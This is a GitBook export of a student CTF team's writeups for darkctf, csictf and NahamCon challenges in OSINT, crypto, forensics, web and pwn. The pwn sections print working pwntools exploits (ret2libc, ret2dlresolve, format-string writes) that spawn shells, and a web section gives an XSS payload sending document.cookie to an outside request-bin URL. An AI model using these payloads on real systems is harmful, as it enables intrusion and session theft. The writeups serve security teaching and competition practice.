arrow-left

Only this pageAll pages
gitbookPowered by GitBook
1 of 94

Writeups

Loading...

CTFs

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

crypt0nite

Welcome to crypt0nite, a CTF team consisting of high school and university students. Here you can find our writeups and hopefully some useful resources!

darkctf

OSINT

Rev

Dark Social Web

hashtag
Briefing:

0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere. Hint: The front page of internet

First off, running python3 sherlock 0xDarkArmy gives us hits on reddit, instagram and twitter, among others.

While nothing interesting was found on the twitter or instagram, there was a qr code posted on the reddit page, seen herearrow-up-right

Scanning the qr code, we are directed to a .onion site, openable in tor. see

At a first look it seems like a static template page. However navigating to /robots.txt we get half of the flag: darkctf{S0c1a1_D04k_

Opening up developer tools and going to the 'networks' tab, we can see that in the get request to the page, there is a custom HTTP header Flag: under Date. This contains the second half of the flag: _w3b_051n7}

hashtag
Flag:

darkctf{S0c1a1_D04k_w3b_051n7}

herearrow-up-right

newPAX

hashtag
Briefing:

Even though Solar Designer gave you his times technique, you have to resolve(sort-out) yourself and go deeper. This time rope willn't let you have anything you want but you have to make a fake rope and get everything.
nc pwn.darkarmy.xyz 5001

super basic ret2dlresolve exploit

from pwn import *

elf = context.binary = ELF('./newPaX', checksec=False)

if args.REMOTE:
    p = remote('newpax.darkarmy.xyz', 5001)
else:
    p = process()
rop = ROP(elf)

# obviously a ret2dlresolve
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 52)
rop.read(0, dlresolve.data_addr, 100)
rop.ret2dlresolve(dlresolve)

p.sendline(rop.chain())

p.sendline(dlresolve.payload)                # now the read is called and we pass all the relevant structures in

p.interactive()

Find Cell

I lost my phone while I was travelling back to home but I was able to get back my eNB ID, MCC and MNC could you help me catch the tower it was last found. Note: decimal value upto 1 digit

file-download
15B
challenge.txt
arrow-up-right-from-squareOpen

So firstly, after seeing what they have said about the eNB ID, MCC, and MNC, I decided to look up what they meant, so :

  • eNB ID : used to identify an EnodeB uniquely

  • MCC : mobile country code

  • MNC : mobile network code

You can distinguish which one is which by knowing that the MCC and MNC are both 3 digits so 81097 must be the eNB ID

We can use the MCC and MNC to find out that the cell tower is in the US, and that its provider is AT&T. Now we need to triangulate the cell tower so after a bit of googling I found a website called cellmapper.net, where you can specify the eNB ID, MNC and MCC, so finally you get the latlong coordinates by clicking on the location, which are 32.8464489 and -24.554806.

hashtag
Flag:

Because we know that the briefing says the format is darkCTF{latitude, longtitude} to 1 decimal place we know that the flag is DarkCTF{38.4, 24.5}

circle-info

The rounding is very odd

helloworld

hashtag
Briefing:

taking small Bites of Bytes Filearrow-up-right

looks hard to reverse, but really it just checks a funtion's output

  • Put a break on both checks

  • set the value of eax to 0 to pass them

  • get the flag

hashtag
Flag:

darkCTF{4rgum3nts_are_v3ry_1mp0rt4nt!!!}

Web

pwn

Linux Starter

hashtag
Briefing:

Don't Try to break this jail. ssh wolfie@linuxstarter.darkarmy.xyz -p 8001 password : wolfie

Sshing in and running echo $SHELL shows us we have an rbash shell- that is, a restricted shell.

Googling how to bypass this I found you could add 'bash --noprofile' to the end of the ssh command.

So running ssh wolfie@linuxstarter.darkarmy.xyz -p 8001 'bash --noprofile' gives us an unrestricted shell. From there, just cd imp and cat flag.txt to get the flag.

hashtag
Flag:

darkCTF{h0pe_y0u_used_intended_w4y}

forensics

Find Me

hashtag
Briefing:

Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file? ssh ctf@findme.darkarmy.xyz -p 10000 password: wolfie

Running ps aux to see the running processes showed us that the command tail -f /home/wolf1/pass was running at PID 10. However in the /home/wolf1 directory, this file was not to be found.

After googling how to view the contents of a background process I ran the command cat /proc/10/fd/* and got mysecondpassword123.

Since there was a wolf2 directory I figured this was the password for wolf2, so running su wolf2 and inputting this as the password means we are now wolf2. List the files and get the flag.

hashtag
Flag:

darkCTF{w0ahh_n1c3_w0rk!!!}

Wolfie's Contact

Permalinkarrow-up-right

hashtag
Briefing:

Wolfie is doing some illegal work with his friends find his contacts. Filearrow-up-right

  • Opening the file in autopsy, we can see some emails. In the headings of some, you could see parts of the flag.

  • Alternatively, this challenge could be done by opening the file in mousepad and ctrl + F searching for 'darkctf{'

hashtag
Flag:

darkCTF{C0ntacts_4re_1mp0rtant}

Pipe Rhyme

Yes, we cheesed it.

python3 RsaCtfTool.py -n 0x3b7c97ceb5f01f8d2095578d561cad0f22bf0e9c94eb35a9c41028247a201a6db95f -e 0x10001 --uncipher 0x1B5358AD42B79E0471A9A8C84F5F8B947BA9CB996FA37B044F81E400F883A309B886 --private

hashtag
Flag:

darkCTF{4v0iD_us1ngg_p1_pr1mes}

AW

Permalinkarrow-up-right

hashtag
Briefing:

"Hello, hello, Can you hear me, as I scream your Flag! " filearrow-up-right

Opening the file in sonic visualiser, you can see two audio streams. Seaparete the streams and then add a spectogram layer. Play around with the colour settings to see the flag more clearly.

hashtag
Flag:

darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}

Linux

csictf

csictf ran from 17/07/2020 to 21/07/2020.

crypto

haXXor

you either know it or not take this and get your flag 5552415c2b3525105a4657071b3e0b5f494b034515

Permalinkarrow-up-right

As the name suggests, it's XOR.

We know the plaintext starts with darkCTF{ so using this as the key as so you'll get the actual key outputted- see herearrow-up-right

Therefore using the key 1337hack gives us the flag- see herearrow-up-right

hashtag
Flag:

darkCTF{kud0s_h4xx0r}

Crypto

Mein Kampf

Googling M4 UKW, we find out this is a type of enigmaarrow-up-right. M4 means there are 4 rotors; Gamma is the setting for the first rotor; the preceding 4 pairs of numbers are position and ring values respectively and the string of letters at the end are the plugboard values.

This leaves us with almost everything needed to decrypt the ciphertext. However, we are not given the values for rotors 2, 3 or 4; they can be in any position from I to VIII, so bruteforcing this we get the following:

Rotor 2 = I
Rotor 3 = IV
Rotor 4 = VII

Using this websitearrow-up-right, we get the flag:

Flag: csictf{no_shit_sherlock}

Miscellaneous

Linux

Free Games

Permalinkarrow-up-right

hashtag
Briefing:

Wolfie getting free games from somewhere. Find the full url to that game. Note: Use the same file provided in Wolfie's Contacts Flag Format: darkCTF{http://site} filearrow-up-right

Using the same file from Wolfie's contacts, I searched for the string http:// in autopsy.

There were a few results but one was a .zip so I assumed this was the game.

hashtag
Flag:

darkCTF{http://aries.dccircle34.com/realitydownloadgo/c4d37739ca3dc3ed2d4852395d5ed228/784b4647446e334c58556e5473326556422e624f612e51432e4a6472/2019/07/31/PencakSilat2_1.zip}

AKA

Netcat into the given domain an port. Trying a bunch of different commands it appears that none of them do what you'd expect.

Running alias shows that there are different aliases for commands which let you open files. Instead of trying to figure them all out I converted the flag.txt file to base64 with base64 flag.txt. Then it was a simple matter of copying the output and decoding it (I used ).

cyberchefarrow-up-right

Shaken

I love this watch. It's been with me all over the world, from Istanbul to Shanghai
to Macau. I wear it with suits quite a lot. My boss liked it too. I remember
wearing it when she died. What is her successor's name?

I googled some of the keywords from the challenge brief

istanbul shanghi macau suits

In the results pictures of James Bond showed up, James Bond's most recent boss (known as M) is called Gareth Mallory.

Flag: csictf{gareth_mallory}

Flying Places

A reporter wanted to know where this flight is headed. Where does he (the reporter) live?

Google image search reveals a screenshot of a tweet by Jack Ma containing the image. If we go onto his profile and . Using Ctrl-F through the replies, we find of a reporter asking where the flight is headed, mentioning they're from San Francisco.

Flag: csictf{san_francisco}

find the tweetarrow-up-right
this commentarrow-up-right

OSINT

Commitment

Hoshimaseok is up to no good. Track him down.

A quick google of the user hoshimaseok leads us to a GitHub page, found herearrow-up-right.

We see two repositories, one called SomethingFishy. Fishy it looks indeed.

A quick glance inside this repo reveals nothing. However considering the title, Commitment, maybe there is a commit somewhere with the flag.

We can see that there are two branches - master and dev. Upon clicking compare, we see that there have indeed been many changes to this repo.

Scrolling through these, you will find the flag in index.js, which was deleted.

The contents of index.js are as follows:

Flag: csictf{sc4r3d_0f_c0mm1tm3nt}

API_KEY = randomapi
FLAG = csictf{sc4r3d_0f_c0mm1tm3nt}

Pirates of the Memorial

The original photographer of this picture commented the flag on his post. Find the flag.

Good old Ironstone found the picture in . The comments mention that Arunopal Banerjee is the actual photographer; visiting the we find the picture posted, and the flag is in the .

Flag: csictf{pl4g14r1sm_1s_b4d}

this tweetarrow-up-right
instagram accountarrow-up-right
commentsarrow-up-right

Pwn Intended 0x1

I really want to have some coffee!

Smash the keyboard.

Flag: csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

hashtag
Scripting it

I guess if you really want to, you could...

python -c 'print "A" * 200' | nc chall.csivit.com 30001

hashtag
Pwntools

Ok this is pushing it a bit

Pwn Intended 0x2

Travelling through spacetime!

hashtag
Analysis

Sadly, we can't just smash the keyboard. Let's check what protections are enabled.

NX is enabled, so unfortunately no shellcode, but no other protections. Let's perhaps decompile it in GHidra.

So we have a 44-byte-long buffer storing our input, which is read by gets() - a clear buffer overflow vulnerability. Interestingly, the program seems to also return the flag if the if condition is met. I've known GHidra to make mistakes with numbers, so I check the disassembly in radare2.

hashtag
Exploitation

As we can see, the buffer our input is stored in is lower down the stack to the variable that is compared, so if we overflow the buffer we will overflow into the other variable. From the decompilation we know the buffer is 44 bytes long, so we need 44 bytes of padding before we reach the checked variable and write 0xcafebabe.

Flag: csictf{c4n_y0u_re4lly_telep0rt?}

from pwn import *

p = remote('chall.csivit.com', 30001)

p.sendline('A' * 200)

print(p.clean().decode())
from pwn import *

p = remote('chall.csivit.com', 30007)

payload = b'A' * 44
payload += p32(0xcafebabe)

p.sendline(payload)

print(p.clean().decode())

Pwn Intended 0x3

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections:

hashtag
Analysis

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections.

Same thing again, GHidra decompilation time.

Again, gets() shows a clear buffer overflow vulnerability. Among other functions there is a flag() function.

So, calling flag() returns the flag. Unsurprisingly.

hashtag
Exploitation

We'll be using the buffer overflow vulnerability to redirect code execution to the flag() function. Some experimenting shows a padding of 40 bytes is needed to overwrite RIP.

Flag: csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}

from pwn import *

elf = ELF('./vuln')
p = remote('chall.csivit.com', 30013)

payload = b'A' * 40
payload += p64(elf.symbols['flag'])

p.clean()
p.sendline(payload)

print(p.clean(2).decode())

Reversing

Global Warming

Greta Thunberg 1 Administration 0

hashtag
Analysis

This was a different type of binary exploitation challenge. First, check the protections.

Much like the others. Let's run it.

So our input is sent back to us, along with the notice that we cannot log in with input. As we control the print, let's check if there's a format string bug.

And indeed there is. Interestingly, there's no buffer overflow. Let's decompile it to see what's going on.

main is very simple - takes in input (using a secure fgets(), explaining why there was no BoF) and passes the input to the login() function.

Input it printed back to us, as we saw, with printf. This causes the format string. The interesting part is it checks the global admin variable before printing the flag.

Clearly, we have to overwrite the admin variable somehow. To do this, we're going to have to leverage the format string %n specifier for an arbitrary write.

%n takes a pointer to a signed int, where the number of characters written so far is stored. Because we can control certain aspects of the stack (as the buffer is on the stack) we can tell it where to write the data. As we can control the input, we can tell it how much. This gives us an arbitrary write. If we want to write 20 bytes somewhere, we input 20 characters and then call %n. We can even use other fancy format string specifiers to shorten it enough,

I would explain how to leverage this in detail, but frankly, others have done so much, much better than me :)

There are plenty more resources online.

hashtag
Exploitation

Luckily for us, pwntools contains a feature to automate %n exploitation.

circle-exclamation

You should understand how the exploit works before you use tools to do it for you.

The pwntools module is fmtstr_payload, and takes in two values: the offset for the format string and a dictionary. The keys in the dictionary are the location to write to, and the values are the data to write there.

Flag: csictf{n0_5tr1ng5_@tt@ch3d}

LiveOverflow - Format String with %narrow-up-right
Format String Vulnerabilityarrow-up-right
from pwn import *

elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)

admin = elf.symbols['admin']
value = 0xb4dbabe3                              # this is the needed admin value

payload = fmtstr_payload(12, {admin : value})

p.sendline(payload)

print(p.clean().decode())

Secret Society

Wanna enter the Secret Society? Well you have to find the secret code first!

Again, smash the keyboard.

Flag: csivit{Bu!!er_e3pl01ts_ar5_5asy}

Smash

My first C program that says hello, do you want to try it?

Smash was a very cool challenge where you were given the libc version used by the binary. You had to bypass ASLR and then execute a ret2libc attack.

hashtag
Analysis

As per usual, run a quick checksec

Luckily for us, PIE is disabled and there is no canary. That makes our job much easier. Let's run it and see what happens.

Hmm, our input is printed back to us again. Is there another format string bug?

Indeed there is! Is a BoF possible this time?

Awesome.

There's nothing particularly interesting in the decompilation - main takes input and calls say_hello, which prints back to you.

No interesting strings either. As we are given the libc, everything points to a good old ret2libc attack.

hashtag
Exploitation

As we only had one input, the logical approach would be to use a ret2plt to leak the address of puts in libc from the and call main again to let us have another input.

Flag: csictf{5up32_m4210_5m45h_8202}

global offset tablearrow-up-right

Blaise

I recovered a binary from my teacher's computer. I tried to reverse it but I couldn't.

hashtag
Analysis

hashtag
File Info

Running file blaise gives us this output:

Important thing here is it isn't stripped, that it is dynamically linked, and it's 64-bit, which will make the rev easier.

hashtag
Running the file

When we first run the file, we are given a two digit number, like so:

And we are promted for input. Inputting letters seems to end it, however typing a number keeps it running, and we can enter more:

hashtag
Ghidra

Let's throw it into ghidra to see the pseudo-c code of the file. I've prepared the decompilation by renaming functions and variable already. Here's what our main function looks like:

However there isn't much useful info here, although we know that it calls the functions display_number and process

Let's decompile display_number:

We see here that it basically:

  • generates a random number between 15 and 20 (0xf and 0x14)

  • prints it

  • returns it

Let's decompile process now:

This is most important function, and a lot is going on here:

  • Firstly, we basically create a for loop using counter and the random number as the end

  • Then we read the input with scanf

  • Then with counter, and random number, we call another function called c, and output is stored in output

So, in order to do this challenge, we need to write a script that constantly gives a number to the program, that equals the output of c, then reads the flag

hashtag
function c

Let's decompile c:

So it makes 3 variables, using the f function, and then returns a value based on those 3.

Lets' decompile f:

Just does some maths with the provided number.

hashtag
Scripting

To convert our two numbers (random and counter) to what is needed of the program, we'll port these functions to python, like so:

Using these, and pwntools, we can write our final script, like so:

Flag: csictf{y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}

from pwn import *

elf = context.binary = ELF('./hello')

# Adapt for remote
if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('chall.csivit.com', 30046)
else:
    libc = elf.libc
    p = elf.process()


# ret2plt
p.clean(1)

payload = flat(
    b'A' * 136,
    elf.plt['puts'],
    elf.symbols['main'],        # 32-bit - return address comes directly after the function call
    elf.got['puts']             # Parameter comes after the return address
)

p.sendline(payload)

p.recvline()                    # This is the 'Hello, <>!' string - we don't need this

puts_libc = u32(p.recv(4))      # The puts call. We only need the first 4 bytes (the GOT entry of puts)
log.success(f'Puts@LIBC: {hex(puts_libc)}')

libc.address = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

p.clean(1)

# Final ret2libc
payload = flat(
    b'A' * 136,
    libc.symbols['system'],
    libc.symbols['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)
p.interactive()
. We'll come back to this in a bit
  • Then it compares this output with our input, and if they aren't equal it sets flagcheck to false

  • Increments counter, and starts loop again

  • Finally, at the end, it checks if flagcheck is true, if it is, it gives us the flag

  • blaise: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=00fb13e98a303dff4159e894942e363208415ba1, for GNU/Linux 3.2.0, not stripped
    $ ./blaise
    15
    $ ./blaise
    19
    12
    24
    a
    $
    def f(num):
    	ret = 1
    	counter = 2
    	while counter <= num:
    		ret *= counter
    		counter += 1
    	return ret
    
    def c(ran, counter):
    	num1 = f(ran)
    	num2 = f(counter)
    	num3 = f(ran - counter)
    	return num1 / (num2 * num3)
    from pwn import *
    from sys import argv
    
    if argv[1] == "r": 
    	p = remote("chall.csivit.com", 30808)
    else:
    	e = ELF("./blaise")
    	p = e.process()
    
    
    rand = int(p.recvline())  # Recieves random number
    log.info(f"random number: {rand}")
    
    def f(num):
    	ret = 1
    	counter = 2
    	while counter <= num:
    		ret *= counter
    		counter += 1
    	return ret
    
    def c(ran, counter):
    	num1 = f(ran)
    	num2 = f(counter)
    	num3 = f(ran - counter)
    	return num1 / (num2 * num3)
    
    for i in range(0, rand + 1):
    	data = int(c(rand, i))  # Gets required number
    	p.sendline(str(data))   # Sends
    	flag = p.clean()
    	if flag:  # I was lazy :p
    		log.info(f"flag is: {flag.decode()}")
    		exit()

    Pwn

    RicknMorty

    Rick has been captured by the council of ricks and in this dimension Morty has to save him, the chamber holding Rick needs a key . Can you help him find the key?

    hashtag
    Analysis

    First, let's see what running the program does.

    circle-info

    The pairs of numbers are the program, the singular numbers are me typing back to it.

    There's nothing particularly clear here, so let's disassemble it in GHidra.

    It looks very complicated, but we can ignore the bulk of it. What we need to focus on is the random number generation and what happens to it.

    Two random numbers are generated. They are passed into function1, then we +3 to the result and pass it through function2. The result of that is then compared with the number we input. If they are not the same, the check is set to 0.

    At the end, if it's not 1 (and if takes under 30 seconds) the flag is read. So clearly we have to receive the numbers, work out what it does and then return the values (repeatedly) to get the flag.

    Let's check what the two functions do.

    hashtag
    function1

    We have a counter that loops until it is greater than a number; if both numbers are divisible by the counter the answer gets set to counter - this is clearly some sort of highest common factor function.

    hashtag
    function2

    This looks like a weird function, but if you write it in, say, python, it's much clearer what it does:

    This is a factorial function.

    Now we know what it does, the flow is simple:

    And we can write a script that does this for us.

    hashtag
    Solution

    Flag: csictf{h3_7u2n3d_h1m531f_1n70_4_p1ck13}

    int main(void)
    {
      int random;
      time_t tVar1;
      long result;
      long input;
      time_t local_40;
      time_t local_38;
      time_t local_30;
      long number2;
      long number1;
      char *time_to_execute;
      int counter;
      int check;
      
      setbuf(stdin,(char *)0x0);
      setbuf(stdout,(char *)0x0);
      setbuf(stderr,(char *)0x0);
      tVar1 = time(&local_30);
      srand((uint)tVar1);
      time(&local_38);
      check = 1;
      counter = 0;
      while( true ) {
        random = rand();
        if (random % 3 + 4 < counter) break;
        random = rand();
        number1 = (long)(random % 10 + 6);
        random = rand();
        number2 = (long)(random % 10 + 6);
        printf("%d %d\n",number1,number2);
        __isoc99_scanf(&DAT_0040200f,&input);
        result = function1(number1,number2);
        result = function2(result + 3);
        if (result != input) {
          check = 0;
        }
        counter = counter + 1;
      }
      time(&local_40);
      time_to_execute = (char *)(double)(local_40 - local_38);
      printf(time_to_execute,"fun() took %f seconds to execute \n");
      if ((check != 1) || (30.00000000 < (double)time_to_execute)) {
        printf("Nahh.");
      }
      else {
        puts("Hey, you got me!");
        system("cat flag.txt");
      }
      return 0;
    }
    number1 = (long) (random % 10 + 6);
    random = rand();
    number2 = (long) (random % 10 + 6);
    printf("%d %d\n", number1, number2);
    __isoc99_scanf(&DAT_0040200f, &input);
    result = function1(number1, number2);
    result = function2(result + 3);
    if (result != input) {
        check = 0;
    }
    if ((check != 1) || (30.00000000 < (double)time_to_execute)) {
        printf("Nahh.");
    }
    else {
        puts("Hey, you got me!");
        system("cat flag.txt");
    }
    long function1(long num1,long num2)
    
    {
      int counter;
      int answer;
      
      answer = 0;
      counter = 1;
      while ((counter <= num1 || (counter <= num2))) {
        if ((num1 % (long) counter == 0) && (num2 % (long) counter == 0)) {
          answer = counter;
        }
        counter = counter + 1;
      }
      return (long)answer;
    }
    long function2(long number)
    {
      long lVar1;
      
      if (number == 0) {
        lVar1 = 1;
      }
      else {
        lVar1 = function2(number - 1);
        lVar1 = lVar1 * number;
      }
      return lVar1;
    }
    def function2(number):
        if number == 0:
            return 1
        
        return number * function(number - 1)
    two numbers -> highest common factor -> +3 -> factorial -> compared to input
    from pwn import *
    from numpy import gcd
    import numpy
    
    p = remote('chall.csivit.com', 30827)
    
    while True:
        try:
            num1, num2 = map(int, p.recvline().decode().split()) # Cast and assign the two numbers
            log.info(f'{num1} {num2}')
        
            hcf = gcd(num1, num2)
            log.success(f'HCF of {num1} and {num2} is {hcf}')
    
            fact = numpy.math.factorial(hcf + 3)
            log.success(f'Factorial of {hcf + 3}: {fact}')
        
            p.sendline(f'{fact}')
        except ValueError:
            # If it's ValueError it can't be cast to an int, so we've received the flag
            break
    
    print(p.clean(1).decode())

    Mr. Rami

    "People who get violent get that way because they can’t communicate."

    Navigating to /robots.txt, we see:

    # Hey there, you're not a robot, yet I see you sniffing through this file.
    # SEO you later!
    # Now get off my lawn.
    
    Disallow: /fade/to/black

    Navigating to /fade/to/black, we get the flag.

    Flag: csictf{br0b0t_1s_pr3tty_c00l_1_th1nk}

    Web

    Unvreakable Vase

    The encrypted text we got given was

    zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=

    Some fiddling around with the capitalisation of the base64 characters got us the actually-printable string

    ZmxhZ3tkb2VzX3RoaXNfZXZlbl9jb3VudF9hc19jcnlwdG9vb30=

    which decoded to yield the flag.

    flag{does_this_even_count_as_cryptooo}

    Simple SQL

    hashtag
    Briefing:

    Try to find username and password. Webiste: http://simplesql.darkarmy.xyz/.

    In the source we see the comment <!-- Try id as parameter -->.

    Injecting a simple ?id=1 or 2=2 gives us the response Username : LOL Password : Try.

    Trying ?id=2 or 2=2 gives us a difference response, Username : Try Password : another, so I tried a few more till at http://simplesql.darkarmy.xyz/?id=9%20or%202=2 you get the flag.

    hashtag
    Flag:

    darkCTF{it_is_very_easy_to_find}

    NahamCon

    roprop

    hashtag
    Briefing:

    This is from the back Solar Designer times where you require rope to climb and get anything you want.
    
    nc pwn.darkarmy.xyz 5002
    from pwn import *
    
    elf = context.binary = ELF('./roprop', checksec=False)
    if args.REMOTE:
        libc = ELF('./libc-remote.so')
        p = remote('roprop.darkarmy.xyz', 5002)
    else:
        libc = elf.libc
        p = process()
    
    
    p.recvuntil('s.\n\n')
    
    rop = ROP(elf)
    rop.raw('A' * 88)
    rop.puts(elf.got['puts'])
    rop.raw(elf.sym['main'])
    
    p.sendline(rop.chain())
    
    leak = u64(p.recv(6) + b'\x00\x00')
    log.success(f'Leak: {hex(leak)}')
    
    
    p.recvlines(2)
    
    libc.address = leak - libc.sym['puts']
    log.success(f'LIBC base: {hex(libc.address)}')
    
    # ret2libc
    rop = ROP(libc)
    rop.raw('A' * 88)
    rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
    
    p.sendline(rop.chain())
    p.interactive()

    Crypto

    DocXor

    We used to guess the key, setting the keylength to 4 as this was said in the briefing.

    We then used to XOR the file with the key 5a 41 99 bb

    It says it determines a .zip file, but when unzipping you realise it's a .docx file so change the extension to get:

    flag{xor_is_not_for_security}

    this toolarrow-up-right
    cyberchef arrow-up-right

    Rivest-Shamir-Adleman

    These 3 guys encrypted my flag, but they didn't tell me how to decrypt it.

    The source is as follows:

    n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231
    e = 65537
    c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

    Rivest-Shamir-Adleman is the full name for RSAarrow-up-right, a public-key cryptosystem widely used. You'll come across it many times in CTFs.

    Now you can either try to break it manually, or use the great tool RsaCtfToolarrow-up-right.

    I decided to cheese it and use RsaCtfTool.

    Simply inputting the values as so, we get our flag:

    ./RsaCtfTool.py -n 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231 -e 65537 --uncipher 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

    csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}

    Ooo-La-La

    Use n, e and c in .

    RsaCTFtoolarrow-up-right

    HomeCooked

    So first we see that running the program slowly decrypts the string to yield a flag - but it's simply not fast enough. It never ends - we can check by putting a print() statement at the end. So, we'll have to somehow make it go faster - and to do this we need to work out what the functions do.

    The b() function looks like this:

    def b(num):
        my_str = str(num)
        rev_str = reversed(my_str)
        if list(my_str) == list(rev_str):
            return True
        else:
            return False

    If we have a look at what it's doing, it seems to be reversing the input and comparing the two - so it returns True if the inputted number is palidromic, and False if it is not. We can't really make this more efficient, at least noticably.

    The a() function, however, looks like this:

    What this seems to be doing is looping through every value from 2 to n-1 and checking if n is divisible by it - a way of checking if it's prime. However, this is incredibly inefficient, and is probably the reason it takes so long. Let's make it more efficient and see if it does something.

    We are going to use the sympy function isprime to change a():

    Running this program spits out the full flag much faster now.

    flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

    def a(num):
        if (num > 1):
            for i in range(2, num)):
                if (num % i) == 0:
                    return False
                    break
            return True
        else:
            return False
    from sympy import isprime
    
    def a(num):
        return isprime(num)

    No DIStractions

    Very easy misc challenge.

    • Join the discord server

    • Run .flag

    • Bot says to dm and then deletes your message

    • Simply message the bot with .flag and you get the flag from the bot.

    The Confused Deputy

    Looking at the source you can see that a request is made to http://chall.csivit.com:30256/view by the admin to view your colour. You can then specify a URL and a colour for the admin to use.

    I set up a request bin at https://ennfyqj04serj.x.pipedream.net so that I easily could monitor requests made to that URL. But setting the URL that the admin visits to anything outside of http://chall.csivit.com:30256/view seemed to throw an error. However I can set the colour to anything I like.

    Looking at the source of http://chall.csivit.com:30256/ it is clear that the only form of sanitising is that "<" or ">" are replaced with "". This means that later on I could use ">>" in the place of ">" and "<<" in the place of "<".

    The final exploit looked like the following:

    Everything before and including the first semi-colon is used to escape the tags/quotes which the url is in.

    The admin cookie is then sent to https://ennfyqj04serj.x.pipedream.net/?c="+document.cookie and the cookie is your flag.

    Forensics

    }<</style>>`;<<img src=x onerror=document.location="https://ennfyqj04serj.x.pipedream.net/?c="+document.cookie;>>

    Cow Pie

    Running strings on the file yields the flag.

    Microsooft

    As it's a docx file we can extract all the individual parts using binwalk.

    binwalk -e microsooft.docx

    Then we navigate to /root/Desktop/_microsooft.docx.extracted/src/, open up oof.txt and Ctrl + F for flag.

    flag{oof_is_right_why_gfxdata_though}

    Alternatively, if you don't want to use the command line, change the extension to .zip and unzip

    Navigate into the correct folder and open oof.txt. ctrl + F to search for the flag.

    Alkatraz

    We can't use cat to read the file, so we'll have to find another way.

    while read line; do echo $line; done < flag.txt

    Miscellaneous

    Fake File

    Just run

    grep -r "flag{" | grep -v "sys"

    Mobile

    OSINT

    Dangerous

    Disassembling it with radare2 and gdb doesn't really seem to spit out anything interesting (as the binary is stripped), but we can use string to see that flag.txt is within the binary. This hints that there is actually something there.

    So, to check it out, I disassembled the binary in GHidra. Sure enough, FUN_0040130e had some basic C code to read the file and output the results.

    void FUN_0040130e(void)
    
    {
      char local_218 [524];
      int local_c;
      
      local_c = open("./flag.txt",0);
      read(local_c,local_218,0x200);
      close(local_c);
      puts(local_218);
      return;
    }

    All we had to do was overflow the buffer and execute the function.

    Using ragg2 I found that the padding was 497 bytes.

    flag{legend_of_zelda_overflow_of_time}

    from pwn import *
    
    p = remote('jh2i.com', 50011)
    
    p.clean(0.2)
    
    payload = b'A' * 497
    payload += p64(0x40130e)
    
    p.sendline(payload)
    
    print(p.clean(1))

    Simple App

    A with CAndroid, I used 7z to unzip the .apk file.

    7z x candroid.apk

    Then I grepped all the files to see if there were any references to flag. If there were, I checked them out.

    grep -rnw "flag"

    This shows match in "classes.dex"

    cat classes.dex | grep flag

    flag{3asY_4ndr0id_r3vers1ng}

    Pwn

    Volatile

    The challenge hinted at the need to use the tool Volatility.

    First we run volatility -f memdump.raw imageinfo on the dump to get the OS version. We then use the cmdscan command to check the most recently run commands.

    volatility -f memdump.raw --profile=Win7SP1x86_23418 cmdscan

    One of these is

    echo JCTF{nice_volatility_tricks_bro}

    JCTF{nice_volatility_tricks_bro}

    Rotten

    Rotten simply required you to use a caesar cipher to decode the text it sent you. Luckily, once decoded, all the text contained the word send and this allowed us to filter out the correct shift.

    import socket
    from caesarcipher import CaesarCipher
    
    host = "jh2i.com"
    port = 50034
    
    
    count = 0
    flag = [" "] * 30
    print(len(flag))
    
    while True:
        s =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        while True:
            try:
